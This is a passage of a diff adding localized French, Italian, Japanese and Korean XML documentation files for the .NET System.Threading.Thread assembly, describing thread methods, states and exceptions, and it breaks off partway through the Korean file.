<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Suspend le thread actuel pendant la durée spécifiée.</summary>
<param name="timeout">Durée pendant laquelle le thread est suspendu.Si la valeur de l'argument <paramref name="millisecondsTimeout" /> est <see cref="F:System.TimeSpan.Zero" />, le thread abandonne le reste de sa tranche de temps à n'importe quel thread de priorité égale prêt à être exécuté.S'il n'existe pas d'autres threads de priorité égale prêts à être exécutés, l'exécution du thread actuel n'est pas suspendue.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Provoque le changement, par le système d'exploitation, de l'état de l'instance actuelle en <see cref="F:System.Threading.ThreadState.Running" />.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Provoque le changement, par le système d'exploitation, de l'état de l'instance actuelle en <see cref="F:System.Threading.ThreadState.Running" />, et fournit éventuellement un objet contenant les données que la méthode exécutée par le thread doit utiliser.</summary>
<param name="parameter">Objet contenant les données que la méthode exécutée par le thread doit utiliser.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Obtient une valeur contenant les états du thread actuel.</summary>
<returns>Une des valeurs <see cref="T:System.Threading.ThreadState" /> indiquant l'état du thread actuel.La valeur initiale est Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Représente la méthode qui s'exécute sur <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>Exception levée lorsqu'une erreur se produit dans un thread managé après le démarrage du thread de système d'exploitation sous-jacent, mais avant que le thread soit prêt à exécuter le code utilisateur.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Spécifie les états d'exécution de <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>L'état du thread inclut <see cref="F:System.Threading.ThreadState.AbortRequested" /> et le thread est à présent inactif ; toutefois, son état n'est pas encore passé à <see cref="F:System.Threading.ThreadState.Stopped" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>La méthode <see cref="M:System.Threading.Thread.Abort(System.Object)" /> a été appelée sur le thread, mais ce dernier n'a pas encore reçu <see cref="T:System.Threading.ThreadAbortException" /> en attente qui tentera de l'arrêter.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>Le thread est exécuté en tant que thread d'arrière-plan, par opposition à un thread de premier plan.Cet état est contrôlé par définition de la propriété <see cref="P:System.Threading.Thread.IsBackground" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>Le thread a été démarré, il n'est pas bloqué et il n'y a pas de <see cref="T:System.Threading.ThreadAbortException" /> en attente.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>Le thread s'est arrêté.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>Une demande d'arrêt du thread est en cours.Ceci est exclusivement destiné à un usage interne.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>Le thread a été suspendu.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>Une demande de suspension du thread est en cours.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>La méthode <see cref="M:System.Threading.Thread.Start" /> n'a pas été appelée sur le thread.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>Le thread est bloqué.Cela peut résulter de l'appel de <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> ou <see cref="M:System.Threading.Thread.Join" />, d'une demande de verrouillage (par exemple l'appel de <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> ou <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />) ou de l'attente d'un objet de synchronisation de threads tel que <see cref="T:System.Threading.ManualResetEvent" />.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>Exception qui est levée lorsque <see cref="T:System.Threading.Thread" /> est dans un état <see cref="P:System.Threading.Thread.ThreadState" /> non valide pour l'appel de méthode.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Initialise une nouvelle instance de la classe <see cref="T:System.Threading.ThreadStateException" /> avec des propriétés par défaut.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Initialise une nouvelle instance de la classe <see cref="T:System.Threading.ThreadStateException" /> avec un message d'erreur spécifié.</summary>
<param name="message">Message d'erreur indiquant la raison de l'exception. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Initialise une nouvelle instance de la classe <see cref="T:System.Threading.ThreadStateException" /> avec un message d'erreur spécifié et une référence à l'exception interne qui est à l'origine de cette exception.</summary>
<param name="message">Message d'erreur indiquant la raison de l'exception. </param>
<param name="innerException">Exception qui constitue la cause de l'exception actuelle.Si le paramètre <paramref name="innerException" /> n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,157 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Rappresenta il metodo eseguito in un <see cref="T:System.Threading.Thread" />.</summary>
<param name="obj">Oggetto che contiene i dati per la routine del thread.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Crea e controlla un thread, ne imposta le priorità e ne ottiene lo stato. Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere Origine riferimento.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Inizializza una nuova istanza della classe <see cref="T:System.Threading.Thread" />, specificando un delegato che consente di passare un oggetto al thread quando quest'ultimo viene avviato.</summary>
<param name="start">Delegato che rappresenta i metodi da richiamare quando inizia l'esecuzione di questo thread. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Inizializza una nuova istanza della classe <see cref="T:System.Threading.Thread" />.</summary>
<param name="start">Delegato <see cref="T:System.Threading.ThreadStart" /> che rappresenta i metodi da richiamare quando inizia l'esecuzione di questo thread. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Ottiene il thread attualmente in esecuzione.</summary>
<returns>Oggetto <see cref="T:System.Threading.Thread" /> che rappresenta il thread attualmente in esecuzione.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Ottiene un valore che indica lo stato di esecuzione del thread corrente.</summary>
<returns>true se il thread è stato avviato, ma non è terminato normalmente o è stato interrotto; in caso contrario, false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Ottiene o imposta un valore che indica se il thread viene eseguito in background.</summary>
<returns>true se il thread viene o verrà eseguito in background; in caso contrario, false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Blocca il thread chiamante finché non termina un thread, pur continuando a eseguire la distribuzione di SendMessage e COM standard.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Blocca il thread chiamante finché non termina un thread o finché non trascorre l'intervallo di tempo specificato, pur continuando a eseguire la distribuzione di SendMessage e COM standard.</summary>
<returns>true se il thread è stato terminato; false se il thread non è stato terminato dopo l'intervallo di tempo specificato dal parametro <paramref name="millisecondsTimeout" />.</returns>
<param name="millisecondsTimeout">Tempo di attesa espresso in millisecondi prima che il thread venga terminato. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Ottiene un identificatore univoco per il thread gestito corrente. </summary>
<returns>Intero che rappresenta un identificatore univoco per il thread gestito.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Ottiene o imposta il nome del thread.</summary>
<returns>Stringa contenente il nome del thread oppure null se non è stato impostato alcun nome.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Sospende il thread corrente per il numero specificato di millisecondi.</summary>
<param name="millisecondsTimeout">Numero di millisecondi per cui sospendere il thread.Se il valore dell'argomento <paramref name="millisecondsTimeout" /> è zero, il thread cede il periodo di tempo rimanente a un thread di uguale priorità pronto per l'esecuzione.Se non sono presenti altri thread di uguale priorità pronti per l'esecuzione, l'esecuzione del thread corrente non viene sospesa.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Sospende il thread corrente per il periodo di tempo specificato.</summary>
<param name="timeout">Periodo di tempo per cui sospendere il thread.Se il valore dell'argomento <paramref name="millisecondsTimeout" /> è <see cref="F:System.TimeSpan.Zero" />, il thread cede il periodo di tempo rimanente a un thread di uguale priorità pronto per l'esecuzione.Se non sono presenti altri thread di uguale priorità pronti per l'esecuzione, l'esecuzione del thread corrente non viene sospesa.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Determina il cambiamento da parte del sistema operativo dello stato dell'istanza corrente in <see cref="F:System.Threading.ThreadState.Running" />.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Determina il cambiamento da parte del sistema operativo dello stato dell'istanza corrente in <see cref="F:System.Threading.ThreadState.Running" /> e, facoltativamente, fornisce un oggetto contenente i dati che devono essere usati dal metodo eseguito dal thread.</summary>
<param name="parameter">Oggetto contenente i dati che devono essere usati dal metodo eseguito dal thread.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Ottiene un valore contenente gli stati del thread corrente.</summary>
<returns>Uno dei valori di <see cref="T:System.Threading.ThreadState" /> che indica lo stato del thread corrente.Il valore iniziale è Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Rappresenta il metodo eseguito in un <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>Eccezione generata quando si verifica un errore in un thread gestito dopo l'avvio del thread del sistema operativo sottostante, ma prima che il thread sia pronto per l'esecuzione di codice utente.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Vengono specificati gli stati di esecuzione di un <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>Lo stato del thread include <see cref="F:System.Threading.ThreadState.AbortRequested" /> e il thread è ora inattivo, ma il relativo stato non è ancora stato modificato in <see cref="F:System.Threading.ThreadState.Stopped" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>Il metodo <see cref="M:System.Threading.Thread.Abort(System.Object)" /> è stato richiamato dal thread ma il thread non ha ancora ricevuto l'oggetto <see cref="T:System.Threading.ThreadAbortException" /> sospeso che tenterà di sottoporlo al processo di terminazione.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>Il thread sarà eseguito come un thread in background, invece che come un thread in primo piano.Questo stato viene controllato dall'impostazione della proprietà <see cref="P:System.Threading.Thread.IsBackground" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>Il thread è stato avviato, non è interrotto e non esistono oggetti <see cref="T:System.Threading.ThreadAbortException" /> in sospeso.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>Il thread è stato interrotto.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>Il thread riceverà richiesta di interruzione.Solo per uso interno.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>Il thread è stato sospeso.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>Il thread riceverà richiesta di sospensione.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>Il metodo <see cref="M:System.Threading.Thread.Start" /> non è stato richiamato dal thread.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>Il thread è bloccato.Potrebbe essere il risultato della chiamata al metodo <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> o <see cref="M:System.Threading.Thread.Join" />, della richiesta di un blocco, ad esempio tramite la chiamata a <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> o <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />, oppure dell'attesa di un oggetto di sincronizzazione thread, ad esempio <see cref="T:System.Threading.ManualResetEvent" />.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>Eccezione generata quando un <see cref="T:System.Threading.Thread" /> si trova in un <see cref="P:System.Threading.Thread.ThreadState" /> non valido per la chiamata al metodo.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Consente l'inizializzazione di una nuova istanza della classe <see cref="T:System.Threading.ThreadStateException" /> con proprietà predefinite.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Inizializza una nuova istanza della classe <see cref="T:System.Threading.ThreadStateException" /> con un messaggio di errore specificato.</summary>
<param name="message">Messaggio di errore nel quale viene indicato il motivo delleccezione </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Consente l'inizializzazione di una nuova istanza della classe <see cref="T:System.Threading.ThreadStateException" /> con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente.</summary>
<param name="message">Messaggio di errore nel quale viene indicato il motivo delleccezione </param>
<param name="innerException">Eccezione causa dell'eccezione corrente.Se il parametro <paramref name="innerException" /> non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>
<see cref="T:System.Threading.Thread" /> で実行するメソッドを表します。</summary>
<param name="obj">スレッド プロシージャのデータを格納しているオブジェクト。</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>スレッドを作成および制御し、その優先順位の設定およびステータスの取得を実行します。この種類の .NET Framework ソース コードを参照するには、参照ソースをご覧ください。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>スレッドの開始時にオブジェクトをスレッドに渡すことを許可するデリゲートを指定して、<see cref="T:System.Threading.Thread" /> クラスの新しいインスタンスを初期化します。</summary>
<param name="start">このスレッドが実行を開始するときに呼び出されるメソッドを表すデリゲート。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>
<see cref="T:System.Threading.Thread" /> クラスの新しいインスタンスを初期化します。</summary>
<param name="start">このスレッドが実行を開始するときに呼び出されるメソッドを表す <see cref="T:System.Threading.ThreadStart" /> デリゲート。</param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>現在実行中のスレッドを取得します。</summary>
<returns>現在実行中のスレッドを表す <see cref="T:System.Threading.Thread" /></returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>現在のスレッドの実行ステータスを示す値を取得します。</summary>
<returns>このスレッドが起動していて、正常終了しておらず中止されてもいない場合は true。それ以外の場合は false。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>スレッドがバックグラウンド スレッドであるかどうかを示す値を取得または設定します。</summary>
<returns>このスレッドがバックグラウンド スレッドである場合またはバックグラウンド スレッドになる場合は true。それ以外の場合は false。</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>1 つのスレッドが終了するまで呼び出し元のスレッドをブロックします。標準 COM および SendMessage ポンピングの実行は継続されます。</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>1 つのスレッドが終了するまで、または指定された時間が経過するまで、呼び出し元のスレッドをブロックします。標準 COM/SendMessage ポンピングの実行は継続されます。</summary>
<returns>スレッドが終了した場合は true。false パラメーターで指定した時間が経過してもスレッドが終了していない場合は <paramref name="millisecondsTimeout" /></returns>
<param name="millisecondsTimeout">スレッドが終了するまでの待機時間を表すミリ秒数。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>現在のマネージ スレッドの一意の識別子を取得します。</summary>
<returns>このマネージ スレッドの一意の識別子を表す整数。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>スレッドの名前を取得または設定します。</summary>
<returns>スレッドの名前を含む文字列。名前が設定されていない場合は null。</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>指定したミリ秒数の間現在のスレッドを中断します。</summary>
<param name="millisecondsTimeout">スレッドが中断ブロックされるミリ秒数。<paramref name="millisecondsTimeout" /> 引数の値が 0 である場合は、スレッドは自らのタイム スライスの残りの部分を放棄し、実行する準備ができている同じ優先順位の他のスレッドに渡します。優先順位が同じで実行する準備ができている他のスレッドが存在しない場合は、現在のスレッドの実行は中断されません。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>指定した時間の長さにわたって現在のスレッドを中断します。</summary>
<param name="timeout">スレッドが中断される時間の長さ。<paramref name="millisecondsTimeout" /> 引数の値が <see cref="F:System.TimeSpan.Zero" /> である場合は、スレッドは自らのタイム スライスの残りの部分を放棄し、実行する準備ができている同じ優先順位の他のスレッドに渡します。優先順位が同じで実行する準備ができている他のスレッドが存在しない場合は、現在のスレッドの実行は中断されません。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>オペレーティング システムによって、現在のインスタンスの状態を <see cref="F:System.Threading.ThreadState.Running" /> に変更します。</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>オペレーティング システムによって現在のインスタンスの状態が <see cref="F:System.Threading.ThreadState.Running" /> に変更され、オプションでスレッドが実行するメソッドで使用するデータを格納するオブジェクトが提供されます。</summary>
<param name="parameter">スレッドが実行するメソッドで使用するデータを格納するオブジェクト。</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>現在のスレッドの状態を示す値を取得します。</summary>
<returns>現在のスレッドの状態を示す <see cref="T:System.Threading.ThreadState" /> 値の 1 つ。初期値は Unstarted です。</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>
<see cref="T:System.Threading.Thread" /> で実行するメソッドを表します。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>基になるオペレーティング システムのスレッドが起動された後、スレッドでユーザー コードを実行する準備が完了する前にマネージ スレッドでエラーが発生したときにスローされる例外。</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>
<see cref="T:System.Threading.Thread" /> の実行状態を指定します。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>スレッド状態に <see cref="F:System.Threading.ThreadState.AbortRequested" /> が含まれ、そのスレッドは停止していますが、状態はまだ <see cref="F:System.Threading.ThreadState.Stopped" /> に変わっていません。</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>スレッド上で <see cref="M:System.Threading.Thread.Abort(System.Object)" /> メソッドを呼び出しますが、そのスレッドの終了を試みる保留中の <see cref="T:System.Threading.ThreadAbortException" /> をスレッドが受け取っていません。</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>スレッドは、フォアグラウンド スレッドではなく、バックグランド スレッドとして実行します。この状態は、<see cref="P:System.Threading.Thread.IsBackground" /> プロパティを設定して制御されます。</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>スレッドをブロックせずに起動します。保留中の <see cref="T:System.Threading.ThreadAbortException" /> もありません。</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>スレッドを停止します。</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>スレッドの停止を要求します。これは、内部でだけ使用します。</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>スレッドは中断しています。</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>スレッドの中断を要求します。</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>スレッド上に <see cref="M:System.Threading.Thread.Start" /> メソッドを呼び出しません。</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>スレッドがブロックされています。これは、<see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> または <see cref="M:System.Threading.Thread.Join" /> の呼び出し、ロックの要求 (たとえば、<see cref="M:System.Threading.Monitor.Enter(System.Object)" /><see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" /> の呼び出しによる)、または <see cref="T:System.Threading.ManualResetEvent" /> などのスレッド同期オブジェクトの待機の結果である可能性があります。</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>メソッドの呼び出しで <see cref="T:System.Threading.Thread" /> が無効な <see cref="P:System.Threading.Thread.ThreadState" /> である場合は、例外がスローされます。</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>
<see cref="T:System.Threading.ThreadStateException" /> クラスの新しいインスタンスを既定のプロパティを使用して初期化します。</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>指定したエラー メッセージを使用して、<see cref="T:System.Threading.ThreadStateException" /> クラスの新しいインスタンスを初期化します。</summary>
<param name="message">例外の原因を説明するエラー メッセージ。</param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、<see cref="T:System.Threading.ThreadStateException" /> クラスの新しいインスタンスを初期化します。</summary>
<param name="message">例外の原因を説明するエラー メッセージ。</param>
<param name="innerException">現在の例外の原因である例外。<paramref name="innerException" /> パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>
<see cref="T:System.Threading.Thread" />에서 실행되는 메서드를 나타냅니다.</summary>
<param name="obj">스레드 프로시저에 대한 데이터가 포함된 개체입니다.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>스레드를 만들고 제어하며, 해당 속성을 설정하고, 상태를 가져옵니다. 이 형식에 대한 .NET Framework 소스 코드를 찾아보려면 참조 원본을 참조하세요.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>스레드가 시작될 때 개체가 스레드로 전달될 수 있도록 하는 대리자를 지정하여 <see cref="T:System.Threading.Thread" /> 클래스의 새 인스턴스를 초기화합니다.</summary>
<param name="start">이 스레드의 실행이 시작될 때 호출될 메서드를 나타내는 대리자입니다. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>
<see cref="T:System.Threading.Thread" /> 클래스의 새 인스턴스를 초기화합니다.</summary>
<param name="start">이 스레드의 실행이 시작될 때 호출될 메서드를 나타내는 <see cref="T:System.Threading.ThreadStart" /> 대리자입니다. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>현재 실행 중인 스레드를 가져옵니다.</summary>
<returns>현재 실행 중인 스레드를 나타내는 <see cref="T:System.Threading.Thread" />입니다.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>현재 스레드의 실행 상태를 나타내는 값을 가져옵니다.</summary>
<returns>이 스레드가 시작되었으며 정상적으로 종료 또는 중단되지 않았으면 true이고, 그렇지 않으면 false입니다.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>스레드가 배경 스레드인지를 나타내는 값을 가져오거나 설정합니다.</summary>
<returns>이 스레드가 백그라운드 스레드이거나 백그라운드 스레드가 될 예정이면 true이고, 그렇지 않으면 false입니다.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>표준 COM 및 SendMessage 펌프를 계속 수행하면서 스레드가 종료될 때까지 호출 스레드를 차단합니다.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
